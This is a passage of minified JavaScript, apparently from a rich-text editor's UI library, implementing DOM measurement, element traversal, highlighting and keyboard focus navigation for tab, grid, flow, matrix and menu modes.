(is(getOpt(element, 'style').map(trim), '')) { remove$6(element, 'style'); } }; var reflow = function (e) { return e.dom.offsetWidth; }; var Dimension = function (name, getOffset) { var set = function (element, h) { if (!isNumber(h) && !h.match(/^[0-9]+$/)) { throw new Error(name + '.set accepts only positive integer values. Value was ' + h); } var dom = element.dom; if (isSupported(dom)) { dom.style[name] = h + 'px'; } }; var get = function (element) { var r = getOffset(element); if (r <= 0 || r === null) { var css = get$8(element, name); return parseFloat(css) || 0; } return r; }; var getOuter = get; var aggregate = function (element, properties) { return foldl(properties, function (acc, property) { var val = get$8(element, property); var value = val === undefined ? 0 : parseInt(val, 10); return isNaN(value) ? acc : acc + value; }, 0); }; var max = function (element, value, properties) { var cumulativeInclusions = aggregate(element, properties); var absoluteMax = value > cumulativeInclusions ? value - cumulativeInclusions : 0; return absoluteMax; }; return { set: set, get: get, getOuter: getOuter, aggregate: aggregate, max: max }; }; var api$3 = Dimension('height', function (element) { var dom = element.dom; return inBody(element) ? dom.getBoundingClientRect().height : dom.offsetHeight; }); var get$7 = function (element) { return api$3.get(element); }; var ancestors$1 = function (scope, predicate, isRoot) { return filter$2(parents(scope, isRoot), predicate); }; var siblings$1 = function (scope, predicate) { return filter$2(siblings$2(scope), predicate); }; var all = function (selector) { return all$2(selector); }; var ancestors = function (scope, selector, isRoot) { return ancestors$1(scope, function (e) { return is$1(e, selector); }, isRoot); }; var siblings = function (scope, selector) { return siblings$1(scope, function (e) { return is$1(e, selector); }); }; var descendants = function (scope, selector) { return all$2(selector, scope); }; function ClosestOrAncestor (is, ancestor, scope, a, isRoot) { if (is(scope, a)) { return Optional.some(scope); } else if (isFunction(isRoot) && isRoot(scope)) { return Optional.none(); } else { return ancestor(scope, a, isRoot); } } var ancestor$1 = function (scope, predicate, isRoot) { var element = scope.dom; var stop = isFunction(isRoot) ? isRoot : never; while (element.parentNode) { element = element.parentNode; var el = SugarElement.fromDom(element); if (predicate(el)) { return Optional.some(el); } else if (stop(el)) { break; } } return Optional.none(); }; var closest$2 = function (scope, predicate, isRoot) { var is = function (s, test) { return test(s); }; return ClosestOrAncestor(is, ancestor$1, scope, predicate, isRoot); }; var descendant$1 = function (scope, predicate) { var descend = function (node) { for (var i = 0; i < node.childNodes.length; i++) { var child_1 = SugarElement.fromDom(node.childNodes[i]); if (predicate(child_1)) { return Optional.some(child_1); } var res = descend(node.childNodes[i]); if (res.isSome()) { return res; } } return Optional.none(); }; return descend(scope.dom); }; var first$1 = function (selector) { return one(selector); }; var ancestor = function (scope, selector, isRoot) { return ancestor$1(scope, function (e) { return is$1(e, selector); }, isRoot); }; var descendant = function (scope, selector) { return one(selector, scope); }; var closest$1 = function (scope, selector, isRoot) { var is = function (element, selector) { return is$1(element, selector); }; return ClosestOrAncestor(is, ancestor, scope, selector, isRoot); }; var BACKSPACE = [8]; var TAB = [9]; var ENTER = [13]; var ESCAPE = [27]; var SPACE = [32]; var LEFT = [37]; var UP = [38]; var RIGHT = [39]; var DOWN = [40]; var cyclePrev = function (values, index, predicate) { var before = reverse(values.slice(0, index)); var after = reverse(values.slice(index + 1)); return find$2(before.concat(after), predicate); }; var tryPrev = function (values, index, predicate) { var before = reverse(values.slice(0, index)); return find$2(before, predicate); }; var cycleNext = function (values, index, predicate) { var before = values.slice(0, index); var after = values.slice(index + 1); return find$2(after.concat(before), predicate); }; var tryNext = function (values, index, predicate) { var after = values.slice(index + 1); return find$2(after, predicate); }; var inSet = function (keys) { return function (event) { var raw = event.raw; return contains$1(keys, raw.which); }; }; var and = function (preds) { return function (event) { return forall(preds, function (pred) { return pred(event); }); }; }; var isShift = function (event) { var raw = event.raw; return raw.shiftKey === true; }; var isControl = function (event) { var raw = event.raw; return raw.ctrlKey === true; }; var isNotShift = not(isShift); var rule = function (matches, action) { return { matches: matches, classification: action }; }; var choose = function (transitions, event) { var transition = find$2(transitions, function (t) { return t.matches(event); }); return transition.map(function (t) { return t.classification; }); }; var cycleBy = function (value, delta, min, max) { var r = value + delta; if (r > max) { return min; } else if (r < min) { return max; } else { return r; } }; var clamp = function (value, min, max) { return Math.min(Math.max(value, min), max); }; var dehighlightAllExcept = function (component, hConfig, hState, skip) { var highlighted = descendants(component.element, '.' + hConfig.highlightClass); each$1(highlighted, function (h) { if (!exists(skip, function (skipComp) { return skipComp.element === h; })) { remove$3(h, hConfig.highlightClass); component.getSystem().getByDom(h).each(function (target) { hConfig.onDehighlight(component, target); emit(target, dehighlight$1()); }); } }); }; var dehighlightAll = function (component, hConfig, hState) { return dehighlightAllExcept(component, hConfig, hState, []); }; var dehighlight = function (component, hConfig, hState, target) { if (isHighlighted(component, hConfig, hState, target)) { remove$3(target.element, hConfig.highlightClass); hConfig.onDehighlight(component, target); emit(target, dehighlight$1()); } }; var highlight = function (component, hConfig, hState, target) { dehighlightAllExcept(component, hConfig, hState, [target]); if (!isHighlighted(component, hConfig, hState, target)) { add$1(target.element, hConfig.highlightClass); hConfig.onHighlight(component, target); emit(target, highlight$1()); } }; var highlightFirst = function (component, hConfig, hState) { getFirst(component, hConfig).each(function (firstComp) { highlight(component, hConfig, hState, firstComp); }); }; var highlightLast = function (component, hConfig, hState) { getLast(component, hConfig).each(function (lastComp) { highlight(component, hConfig, hState, lastComp); }); }; var highlightAt = function (component, hConfig, hState, index) { getByIndex(component, hConfig, hState, index).fold(function (err) { throw err; }, function (firstComp) { highlight(component, hConfig, hState, firstComp); }); }; var highlightBy = function (component, hConfig, hState, predicate) { var candidates = getCandidates(component, hConfig); var targetComp = find$2(candidates, predicate); targetComp.each(function (c) { highlight(component, hConfig, hState, c); }); }; var isHighlighted = function (component, hConfig, hState, queryTarget) { return has(queryTarget.element, hConfig.highlightClass); }; var getHighlighted = function (component, hConfig, _hState) { return descendant(component.element, '.' + hConfig.highlightClass).bind(function (e) { return component.getSystem().getByDom(e).toOptional(); }); }; var getByIndex = function (component, hConfig, hState, index) { var items = descendants(component.element, '.' + hConfig.itemClass); return Optional.from(items[index]).fold(function () { return Result.error(new Error('No element found with index ' + index)); }, component.getSystem().getByDom); }; var getFirst = function (component, hConfig, _hState) { return descendant(component.element, '.' + hConfig.itemClass).bind(function (e) { return component.getSystem().getByDom(e).toOptional(); }); }; var getLast = function (component, hConfig, _hState) { var items = descendants(component.element, '.' + hConfig.itemClass); var last = items.length > 0 ? Optional.some(items[items.length - 1]) : Optional.none(); return last.bind(function (c) { return component.getSystem().getByDom(c).toOptional(); }); }; var getDelta = function (component, hConfig, hState, delta) { var items = descendants(component.element, '.' + hConfig.itemClass); var current = findIndex$1(items, function (item) { return has(item, hConfig.highlightClass); }); return current.bind(function (selected) { var dest = cycleBy(selected, delta, 0, items.length - 1); return component.getSystem().getByDom(items[dest]).toOptional(); }); }; var getPrevious = function (component, hConfig, hState) { return getDelta(component, hConfig, hState, -1); }; var getNext = function (component, hConfig, hState) { return getDelta(component, hConfig, hState, +1); }; var getCandidates = function (component, hConfig, _hState) { var items = descendants(component.element, '.' + hConfig.itemClass); return cat(map$2(items, function (i) { return component.getSystem().getByDom(i).toOptional(); })); }; var HighlightApis = /*#__PURE__*/Object.freeze({ __proto__: null, dehighlightAll: dehighlightAll, dehighlight: dehighlight, highlight: highlight, highlightFirst: highlightFirst, highlightLast: highlightLast, highlightAt: highlightAt, highlightBy: highlightBy, isHighlighted: isHighlighted, getHighlighted: getHighlighted, getFirst: getFirst, getLast: getLast, getPrevious: getPrevious, getNext: getNext, getCandidates: getCandidates }); var HighlightSchema = [ required$1('highlightClass'), required$1('itemClass'), onHandler('onHighlight'), onHandler('onDehighlight') ]; var Highlighting = create$5({ fields: HighlightSchema, name: 'highlighting', apis: HighlightApis }); var reportFocusShifting = function (component, prevFocus, newFocus) { var noChange = prevFocus.exists(function (p) { return newFocus.exists(function (n) { return eq(n, p); }); }); if (!noChange) { emitWith(component, focusShifted(), { prevFocus: prevFocus, newFocus: newFocus }); } }; var dom$2 = function () { var get = function (component) { return search(component.element); }; var set = function (component, focusee) { var prevFocus = get(component); component.getSystem().triggerFocus(focusee, component.element); var newFocus = get(component); reportFocusShifting(component, prevFocus, newFocus); }; return { get: get, set: set }; }; var highlights = function () { var get = function (component) { return Highlighting.getHighlighted(component).map(function (item) { return item.element; }); }; var set = function (component, element) { var prevFocus = get(component); component.getSystem().getByDom(element).fold(noop, function (item) { Highlighting.highlight(component, item); }); var newFocus = get(component); reportFocusShifting(component, prevFocus, newFocus); }; return { get: get, set: set }; }; var FocusInsideModes; (function (FocusInsideModes) { FocusInsideModes['OnFocusMode'] = 'onFocus'; FocusInsideModes['OnEnterOrSpaceMode'] = 'onEnterOrSpace'; FocusInsideModes['OnApiMode'] = 'onApi'; }(FocusInsideModes || (FocusInsideModes = {}))); var typical = function (infoSchema, stateInit, getKeydownRules, getKeyupRules, optFocusIn) { var schema = function () { return infoSchema.concat([ defaulted('focusManager', dom$2()), defaultedOf('focusInside', 'onFocus', valueOf(function (val) { return contains$1([ 'onFocus', 'onEnterOrSpace', 'onApi' ], val) ? Result.value(val) : Result.error('Invalid value for focusInside'); })), output('handler', me), output('state', stateInit), output('sendFocusIn', optFocusIn) ]); }; var processKey = function (component, simulatedEvent, getRules, keyingConfig, keyingState) { var rules = getRules(component, simulatedEvent, keyingConfig, keyingState); return choose(rules, simulatedEvent.event).bind(function (rule) { return rule(component, simulatedEvent, keyingConfig, keyingState); }); }; var toEvents = function (keyingConfig, keyingState) { var onFocusHandler = keyingConfig.focusInside !== FocusInsideModes.OnFocusMode ? Optional.none() : optFocusIn(keyingConfig).map(function (focusIn) { return run(focus$4(), function (component, simulatedEvent) { focusIn(component, keyingConfig, keyingState); simulatedEvent.stop(); }); }); var tryGoInsideComponent = function (component, simulatedEvent) { var isEnterOrSpace = inSet(SPACE.concat(ENTER))(simulatedEvent.event); if (keyingConfig.focusInside === FocusInsideModes.OnEnterOrSpaceMode && isEnterOrSpace && isSource(component, simulatedEvent)) { optFocusIn(keyingConfig).each(function (focusIn) { focusIn(component, keyingConfig, keyingState); simulatedEvent.stop(); }); } }; var keyboardEvents = [ run(keydown(), function (component, simulatedEvent) { processKey(component, simulatedEvent, getKeydownRules, keyingConfig, keyingState).fold(function () { tryGoInsideComponent(component, simulatedEvent); }, function (_) { simulatedEvent.stop(); }); }), run(keyup(), function (component, simulatedEvent) { processKey(component, simulatedEvent, getKeyupRules, keyingConfig, keyingState).each(function (_) { simulatedEvent.stop(); }); }) ]; return derive$3(onFocusHandler.toArray().concat(keyboardEvents)); }; var me = { schema: schema, processKey: processKey, toEvents: toEvents }; return me; }; var create$4 = function (cyclicField) { var schema = [ option('onEscape'), option('onEnter'), defaulted('selector', '[data-alloy-tabstop="true"]:not(:disabled)'), defaulted('firstTabstop', 0), defaulted('useTabstopAt', always), option('visibilitySelector') ].concat([cyclicField]); var isVisible = function (tabbingConfig, element) { var target = tabbingConfig.visibilitySelector.bind(function (sel) { return closest$1(element, sel); }).getOr(element); return get$7(target) > 0; }; var findInitial = function (component, tabbingConfig) { var tabstops = descendants(component.element, tabbingConfig.selector); var visibles = filter$2(tabstops, function (elem) { return isVisible(tabbingConfig, elem); }); return Optional.from(visibles[tabbingConfig.firstTabstop]); }; var findCurrent = function (component, tabbingConfig) { return tabbingConfig.focusManager.get(component).bind(function (elem) { return closest$1(elem, tabbingConfig.selector); }); }; var isTabstop = function (tabbingConfig, element) { return isVisible(tabbingConfig, element) && tabbingConfig.useTabstopAt(element); }; var focusIn = function (component, tabbingConfig, _tabbingState) { findInitial(component, tabbingConfig).each(function (target) { tabbingConfig.focusManager.set(component, target); }); }; var goFromTabstop = function (component, tabstops, stopIndex, tabbingConfig, cycle) { return cycle(tabstops, stopIndex, function (elem) { return isTabstop(tabbingConfig, elem); }).fold(function () { return tabbingConfig.cyclic ? Optional.some(true) : Optional.none(); }, function (target) { tabbingConfig.focusManager.set(component, target); return Optional.some(true); }); }; var go = function (component, _simulatedEvent, tabbingConfig, cycle) { var tabstops = descendants(component.element, tabbingConfig.selector); return findCurrent(component, tabbingConfig).bind(function (tabstop) { var optStopIndex = findIndex$1(tabstops, curry(eq, tabstop)); return optStopIndex.bind(function (stopIndex) { return goFromTabstop(component, tabstops, stopIndex, tabbingConfig, cycle); }); }); }; var goBackwards = function (component, simulatedEvent, tabbingConfig) { var navigate = tabbingConfig.cyclic ? cyclePrev : tryPrev; return go(component, simulatedEvent, tabbingConfig, navigate); }; var goForwards = function (component, simulatedEvent, tabbingConfig) { var navigate = tabbingConfig.cyclic ? cycleNext : tryNext; return go(component, simulatedEvent, tabbingConfig, navigate); }; var execute = function (component, simulatedEvent, tabbingConfig) { return tabbingConfig.onEnter.bind(function (f) { return f(component, simulatedEvent); }); }; var exit = function (component, simulatedEvent, tabbingConfig) { return tabbingConfig.onEscape.bind(function (f) { return f(component, simulatedEvent); }); }; var getKeydownRules = constant$1([ rule(and([ isShift, inSet(TAB) ]), goBackwards), rule(inSet(TAB), goForwards), rule(inSet(ESCAPE), exit), rule(and([ isNotShift, inSet(ENTER) ]), execute) ]); var getKeyupRules = constant$1([]); return typical(schema, NoState.init, getKeydownRules, getKeyupRules, function () { return Optional.some(focusIn); }); }; var AcyclicType = create$4(customField('cyclic', never)); var CyclicType = create$4(customField('cyclic', always)); var inside = function (target) { return name$1(target) === 'input' && get$b(target, 'type') !== 'radio' || name$1(target) === 'textarea'; }; var doDefaultExecute = function (component, _simulatedEvent, focused) { dispatch(component, focused, execute$5()); return Optional.some(true); }; var defaultExecute = function (component, simulatedEvent, focused) { var isComplex = inside(focused) && inSet(SPACE)(simulatedEvent.event); return isComplex ? Optional.none() : doDefaultExecute(component, simulatedEvent, focused); }; var stopEventForFirefox = function (_component, _simulatedEvent) { return Optional.some(true); }; var schema$f = [ defaulted('execute', defaultExecute), defaulted('useSpace', false), defaulted('useEnter', true), defaulted('useControlEnter', false), defaulted('useDown', false) ]; var execute$4 = function (component, simulatedEvent, executeConfig) { return executeConfig.execute(component, simulatedEvent, component.element); }; var getKeydownRules$5 = function (component, _simulatedEvent, executeConfig, _executeState) { var spaceExec = executeConfig.useSpace && !inside(component.element) ? SPACE : []; var enterExec = executeConfig.useEnter ? ENTER : []; var downExec = executeConfig.useDown ? DOWN : []; var execKeys = spaceExec.concat(enterExec).concat(downExec); return [rule(inSet(execKeys), execute$4)].concat(executeConfig.useControlEnter ? [rule(and([ isControl, inSet(ENTER) ]), execute$4)] : []); }; var getKeyupRules$5 = function (component, _simulatedEvent, executeConfig, _executeState) { return executeConfig.useSpace && !inside(component.element) ? [rule(inSet(SPACE), stopEventForFirefox)] : []; }; var ExecutionType = typical(schema$f, NoState.init, getKeydownRules$5, getKeyupRules$5, function () { return Optional.none(); }); var singleton$1 = function (doRevoke) { var subject = Cell(Optional.none()); var revoke = function () { return subject.get().each(doRevoke); }; var clear = function () { revoke(); subject.set(Optional.none()); }; var isSet = function () { return subject.get().isSome(); }; var get = function () { return subject.get(); }; var set = function (s) { revoke(); subject.set(Optional.some(s)); }; return { clear: clear, isSet: isSet, get: get, set: set }; }; var destroyable = function () { return singleton$1(function (s) { return s.destroy(); }); }; var api$2 = function () { var subject = destroyable(); var run = function (f) { return subject.get().each(f); }; return __assign(__assign({}, subject), { run: run }); }; var value = function () { var subject = singleton$1(noop); var on = function (f) { return subject.get().each(f); }; return __assign(__assign({}, subject), { on: on }); }; var flatgrid$1 = function () { var dimensions = value(); var setGridSize = function (numRows, numColumns) { dimensions.set({ numRows: numRows, numColumns: numColumns }); }; var getNumRows = function () { return dimensions.get().map(function (d) { return d.numRows; }); }; var getNumColumns = function () { return dimensions.get().map(function (d) { return d.numColumns; }); }; return nu$2({ readState: function () { return dimensions.get().map(function (d) { return { numRows: String(d.numRows), numColumns: String(d.numColumns) }; }).getOr({ numRows: '?', numColumns: '?' }); }, setGridSize: setGridSize, getNumRows: getNumRows, getNumColumns: getNumColumns }); }; var init$5 = function (spec) { return spec.state(spec); }; var KeyingState = /*#__PURE__*/Object.freeze({ __proto__: null, flatgrid: flatgrid$1, init: init$5 }); var onDirection = function (isLtr, isRtl) { return function (element) { return getDirection(element) === 'rtl' ? isRtl : isLtr; }; }; var getDirection = function (element) { return get$8(element, 'direction') === 'rtl' ? 'rtl' : 'ltr'; }; var useH = function (movement) { return function (component, simulatedEvent, config, state) { var move = movement(component.element); return use(move, component, simulatedEvent, config, state); }; }; var west = function (moveLeft, moveRight) { var movement = onDirection(moveLeft, moveRight); return useH(movement); }; var east = function (moveLeft, moveRight) { var movement = onDirection(moveRight, moveLeft); return useH(movement); }; var useV = function (move) { return function (component, simulatedEvent, config, state) { return use(move, component, simulatedEvent, config, state); }; }; var use = function (move, component, simulatedEvent, config, state) { var outcome = config.focusManager.get(component).bind(function (focused) { return move(component.element, focused, config, state); }); return outcome.map(function (newFocus) { config.focusManager.set(component, newFocus); return true; }); }; var north = useV; var south = useV; var move$1 = useV; var isHidden = function (dom) { return dom.offsetWidth <= 0 && dom.offsetHeight <= 0; }; var isVisible = function (element) { return !isHidden(element.dom); }; var locate = function (candidates, predicate) { return findIndex$1(candidates, predicate).map(function (index) { return { index: index, candidates: candidates }; }); }; var locateVisible = function (container, current, selector) { var predicate = function (x) { return eq(x, current); }; var candidates = descendants(container, selector); var visible = filter$2(candidates, isVisible); return locate(visible, predicate); }; var findIndex = function (elements, target) { return findIndex$1(elements, function (elem) { return eq(target, elem); }); }; var withGrid = function (values, index, numCols, f) { var oldRow = Math.floor(index / numCols); var oldColumn = index % numCols; return f(oldRow, oldColumn).bind(function (address) { var newIndex = address.row * numCols + address.column; return newIndex >= 0 && newIndex < values.length ? Optional.some(values[newIndex]) : Optional.none(); }); }; var cycleHorizontal$1 = function (values, index, numRows, numCols, delta) { return withGrid(values, index, numCols, function (oldRow, oldColumn) { var onLastRow = oldRow === numRows - 1; var colsInRow = onLastRow ? values.length - oldRow * numCols : numCols; var newColumn = cycleBy(oldColumn, delta, 0, colsInRow - 1); return Optional.some({ row: oldRow, column: newColumn }); }); }; var cycleVertical$1 = function (values, index, numRows, numCols, delta) { return withGrid(values, index, numCols, function (oldRow, oldColumn) { var newRow = cycleBy(oldRow, delta, 0, numRows - 1); var onLastRow = newRow === numRows - 1; var colsInRow = onLastRow ? values.length - newRow * numCols : numCols; var newCol = clamp(oldColumn, 0, colsInRow - 1); return Optional.some({ row: newRow, column: newCol }); }); }; var cycleRight$1 = function (values, index, numRows, numCols) { return cycleHorizontal$1(values, index, numRows, numCols, +1); }; var cycleLeft$1 = function (values, index, numRows, numCols) { return cycleHorizontal$1(values, index, numRows, numCols, -1); }; var cycleUp$1 = function (values, index, numRows, numCols) { return cycleVertical$1(values, index, numRows, numCols, -1); }; var cycleDown$1 = function (values, index, numRows, numCols) { return cycleVertical$1(values, index, numRows, numCols, +1); }; var schema$e = [ required$1('selector'), defaulted('execute', defaultExecute), onKeyboardHandler('onEscape'), defaulted('captureTab', false), initSize() ]; var focusIn$3 = function (component, gridConfig, _gridState) { descendant(component.element, gridConfig.selector).each(function (first) { gridConfig.focusManager.set(component, first); }); }; var findCurrent$1 = function (component, gridConfig) { return gridConfig.focusManager.get(component).bind(function (elem) { return closest$1(elem, gridConfig.selector); }); }; var execute$3 = function (component, simulatedEvent, gridConfig, _gridState) { return findCurrent$1(component, gridConfig).bind(function (focused) { return gridConfig.execute(component, simulatedEvent, focused); }); }; var doMove$2 = function (cycle) { return function (element, focused, gridConfig, gridState) { return locateVisible(element, focused, gridConfig.selector).bind(function (identified) { return cycle(identified.candidates, identified.index, gridState.getNumRows().getOr(gridConfig.initSize.numRows), gridState.getNumColumns().getOr(gridConfig.initSize.numColumns)); }); }; }; var handleTab = function (_component, _simulatedEvent, gridConfig) { return gridConfig.captureTab ? Optional.some(true) : Optional.none(); }; var doEscape$1 = function (component, simulatedEvent, gridConfig) { return gridConfig.onEscape(component, simulatedEvent); }; var moveLeft$3 = doMove$2(cycleLeft$1); var moveRight$3 = doMove$2(cycleRight$1); var moveNorth$1 = doMove$2(cycleUp$1); var moveSouth$1 = doMove$2(cycleDown$1); var getKeydownRules$4 = constant$1([ rule(inSet(LEFT), west(moveLeft$3, moveRight$3)), rule(inSet(RIGHT), east(moveLeft$3, moveRight$3)), rule(inSet(UP), north(moveNorth$1)), rule(inSet(DOWN), south(moveSouth$1)), rule(and([ isShift, inSet(TAB) ]), handleTab), rule(and([ isNotShift, inSet(TAB) ]), handleTab), rule(inSet(ESCAPE), doEscape$1), rule(inSet(SPACE.concat(ENTER)), execute$3) ]); var getKeyupRules$4 = constant$1([rule(inSet(SPACE), stopEventForFirefox)]); var FlatgridType = typical(schema$e, flatgrid$1, getKeydownRules$4, getKeyupRules$4, function () { return Optional.some(focusIn$3); }); var horizontal = function (container, selector, current, delta) { var isDisabledButton = function (candidate) { return name$1(candidate) === 'button' && get$b(candidate, 'disabled') === 'disabled'; }; var tryCycle = function (initial, index, candidates) { var newIndex = cycleBy(index, delta, 0, candidates.length - 1); if (newIndex === initial) { return Optional.none(); } else { return isDisabledButton(candidates[newIndex]) ? tryCycle(initial, newIndex, candidates) : Optional.from(candidates[newIndex]); } }; return locateVisible(container, current, selector).bind(function (identified) { var index = identified.index; var candidates = identified.candidates; return tryCycle(index, index, candidates); }); }; var schema$d = [ required$1('selector'), defaulted('getInitial', Optional.none), defaulted('execute', defaultExecute), onKeyboardHandler('onEscape'), defaulted('executeOnMove', false), defaulted('allowVertical', true) ]; var findCurrent = function (component, flowConfig) { return flowConfig.focusManager.get(component).bind(function (elem) { return closest$1(elem, flowConfig.selector); }); }; var execute$2 = function (component, simulatedEvent, flowConfig) { return findCurrent(component, flowConfig).bind(function (focused) { return flowConfig.execute(component, simulatedEvent, focused); }); }; var focusIn$2 = function (component, flowConfig, _state) { flowConfig.getInitial(component).orThunk(function () { return descendant(component.element, flowConfig.selector); }).each(function (first) { flowConfig.focusManager.set(component, first); }); }; var moveLeft$2 = function (element, focused, info) { return horizontal(element, info.selector, focused, -1); }; var moveRight$2 = function (element, focused, info) { return horizontal(element, info.selector, focused, +1); }; var doMove$1 = function (movement) { return function (component, simulatedEvent, flowConfig, flowState) { return movement(component, simulatedEvent, flowConfig, flowState).bind(function () { return flowConfig.executeOnMove ? execute$2(component, simulatedEvent, flowConfig) : Optional.some(true); }); }; }; var doEscape = function (component, simulatedEvent, flowConfig) { return flowConfig.onEscape(component, simulatedEvent); }; var getKeydownRules$3 = function (_component, _se, flowConfig, _flowState) { var westMovers = LEFT.concat(flowConfig.allowVertical ? UP : []); var eastMovers = RIGHT.concat(flowConfig.allowVertical ? DOWN : []); return [ rule(inSet(westMovers), doMove$1(west(moveLeft$2, moveRight$2))), rule(inSet(eastMovers), doMove$1(east(moveLeft$2, moveRight$2))), rule(inSet(ENTER), execute$2), rule(inSet(SPACE), execute$2), rule(inSet(ESCAPE), doEscape) ]; }; var getKeyupRules$3 = constant$1([rule(inSet(SPACE), stopEventForFirefox)]); var FlowType = typical(schema$d, NoState.init, getKeydownRules$3, getKeyupRules$3, function () { return Optional.some(focusIn$2); }); var toCell = function (matrix, rowIndex, columnIndex) { return Optional.from(matrix[rowIndex]).bind(function (row) { return Optional.from(row[columnIndex]).map(function (cell) { return { rowIndex: rowIndex, columnIndex: columnIndex, cell: cell }; }); }); }; var cycleHorizontal = function (matrix, rowIndex, startCol, deltaCol) { var row = matrix[rowIndex]; var colsInRow = row.length; var newColIndex = cycleBy(startCol, deltaCol, 0, colsInRow - 1); return toCell(matrix, rowIndex, newColIndex); }; var cycleVertical = function (matrix, colIndex, startRow, deltaRow) { var nextRowIndex = cycleBy(startRow, deltaRow, 0, matrix.length - 1); var colsInNextRow = matrix[nextRowIndex].length; var nextColIndex = clamp(colIndex, 0, colsInNextRow - 1); return toCell(matrix, nextRowIndex, nextColIndex); }; var moveHorizontal = function (matrix, rowIndex, startCol, deltaCol) { var row = matrix[rowIndex]; var colsInRow = row.length; var newColIndex = clamp(startCol + deltaCol, 0, colsInRow - 1); return toCell(matrix, rowIndex, newColIndex); }; var moveVertical = function (matrix, colIndex, startRow, deltaRow) { var nextRowIndex = clamp(startRow + deltaRow, 0, matrix.length - 1); var colsInNextRow = matrix[nextRowIndex].length; var nextColIndex = clamp(colIndex, 0, colsInNextRow - 1); return toCell(matrix, nextRowIndex, nextColIndex); }; var cycleRight = function (matrix, startRow, startCol) { return cycleHorizontal(matrix, startRow, startCol, +1); }; var cycleLeft = function (matrix, startRow, startCol) { return cycleHorizontal(matrix, startRow, startCol, -1); }; var cycleUp = function (matrix, startRow, startCol) { return cycleVertical(matrix, startCol, startRow, -1); }; var cycleDown = function (matrix, startRow, startCol) { return cycleVertical(matrix, startCol, startRow, +1); }; var moveLeft$1 = function (matrix, startRow, startCol) { return moveHorizontal(matrix, startRow, startCol, -1); }; var moveRight$1 = function (matrix, startRow, startCol) { return moveHorizontal(matrix, startRow, startCol, +1); }; var moveUp$1 = function (matrix, startRow, startCol) { return moveVertical(matrix, startCol, startRow, -1); }; var moveDown$1 = function (matrix, startRow, startCol) { return moveVertical(matrix, startCol, startRow, +1); }; var schema$c = [ requiredObjOf('selectors', [ required$1('row'), required$1('cell') ]), defaulted('cycles', true), defaulted('previousSelector', Optional.none), defaulted('execute', defaultExecute) ]; var focusIn$1 = function (component, matrixConfig, _state) { var focused = matrixConfig.previousSelector(component).orThunk(function () { var selectors = matrixConfig.selectors; return descendant(component.element, selectors.cell); }); focused.each(function (cell) { matrixConfig.focusManager.set(component, cell); }); }; var execute$1 = function (component, simulatedEvent, matrixConfig) { return search(component.element).bind(function (focused) { return matrixConfig.execute(component, simulatedEvent, focused); }); }; var toMatrix = function (rows, matrixConfig) { return map$2(rows, function (row) { return descendants(row, matrixConfig.selectors.cell); }); }; var doMove = function (ifCycle, ifMove) { return function (element, focused, matrixConfig) { var move = matrixConfig.cycles ? ifCycle : ifMove; return closest$1(focused, matrixConfig.selectors.row).bind(function (inRow) { var cellsInRow = descendants(inRow, matrixConfig.selectors.cell); return findIndex(cellsInRow, focused).bind(function (colIndex) { var allRows = descendants(element, matrixConfig.selectors.row); return findIndex(allRows, inRow).bind(function (rowIndex) { var matrix = toMatrix(allRows, matrixConfig); return move(matrix, rowIndex, colIndex).map(function (next) { return next.cell; }); }); }); }); }; }; var moveLeft = doMove(cycleLeft, moveLeft$1); var moveRight = doMove(cycleRight, moveRight$1); var moveNorth = doMove(cycleUp, moveUp$1); var moveSouth = doMove(cycleDown, moveDown$1); var getKeydownRules$2 = constant$1([ rule(inSet(LEFT), west(moveLeft, moveRight)), rule(inSet(RIGHT), east(moveLeft, moveRight)), rule(inSet(UP), north(moveNorth)), rule(inSet(DOWN), south(moveSouth)), rule(inSet(SPACE.concat(ENTER)), execute$1) ]); var getKeyupRules$2 = constant$1([rule(inSet(SPACE), stopEventForFirefox)]); var MatrixType = typical(schema$c, NoState.init, getKeydownRules$2, getKeyupRules$2, function () { return Optional.some(focusIn$1); }); var schema$b = [ required$1('selector'), defaulted('execute', defaultExecute), defaulted('moveOnTab', false) ]; var execute = function (component, simulatedEvent, menuConfig) { return menuConfig.focusManager.get(component).bind(function (focused) { return menuConfig.execute(component, simulatedEvent, focused); }); }; var focusIn = function (component, menuConfig, _state) { descendant(component.element, menuConfig.selector).each(function (first) { menuConfig.focusManager.set(component, first); }); }; var moveUp = function (element, focused, info) { return horizontal(element, info.selector, focused, -1); }; var moveDown = function (element, focused, info) { return horizontal(element, info.selector, focused, +1); }; var fireShiftTab = function (component, simulatedEvent, menuConfig, menuState) { return menuConfig.moveOnTab ? move$1(moveUp)(component, simulatedEvent, menuConfig, menuState) : Optional.none(); }; var fireTab = function (component, simulatedEvent, menuConfig, menuState) { return menuConfig.moveOnTab ? move$1(moveDown)(component, simulatedEvent, menuConfig, menuState) : Optional.none(); }; var getKeydownRules$1 = constant$1([ rule(inSet(UP), move$1(moveUp)), rule(inSet(DOWN), move$1(moveDown)), rule(and([ isShift, inSet(TAB) ]), fireShiftTab), rule(and([ isNotShift, inSet(TAB) ]), fireTab), rule(inSet(ENTER), execute), rule(inSet(SPACE), execute) ]); var getKeyupRules$1 = constant$1([rule(inSet(SPACE), stopEventForFirefox)]); var MenuType = typical(schema$b, NoState.init, getKeydownRules$1, getKeyupRules$1, function () { return Optional.some(focusIn); }); var schema$a = [ onKeyboardHandler('onSpace'), onKeyboardHandler('onEnter'), onKeyboardHandler('onShiftEnter'), onKeyboardHandler('onLeft'), onKeyboardHandler('onRight'), onKeyboardHandler('onTab'), onKeyboardHandler('onShiftTab'), onKeyboardHandler('onUp'), onKeyboardHandler('onDown'), onKeyboardHandler('onEscape'), defaulted('stopSpaceKeyup', false), option('focusIn') ]; var getKeydownRules = function (component, simulatedEvent, specialInfo) { return [ rule(inSet(SPACE), specialInfo.onSpace), rule(and([ isNotShift, inSet(ENTER) ]), specialInfo.onEnter), rule(and([ isShift, inSet(ENTER) ]), specialInfo.onShiftEnter), rule(and([ isShift, inSet(TAB) ]), specialInfo.onShiftTab), rule(and([ isNotShift, inSet(TAB) ]), specialInfo.onTab), rule(inSet(UP), specialInfo.onUp), rule(inSet(DOWN), specialInfo.onDown), rule(inSet(LEFT), specialInfo.onLeft), rule(inSet(RIGHT), specialInfo.onRight), rule(inSet(SPACE), specialInfo.onSpace), rule(inSet(ESCAPE), specialInfo.onEscape) ]; }; var getKeyupRules = function (component, simulatedEvent, specialInfo) { return specialInfo.stopSpaceKeyup ? [rule(inSet(SPACE), stopEventForFirefox)] : []; }; var SpecialType = typical(schema$a, NoState.init, getKeydownRules, getKeyupRules, function (specialInfo) { return specialInfo.focusIn; }); var acyclic = AcyclicType.schema(); var cyclic = CyclicType.schema(); var flow = FlowType.schema(); var flatgrid = FlatgridType.schema(); var matrix = 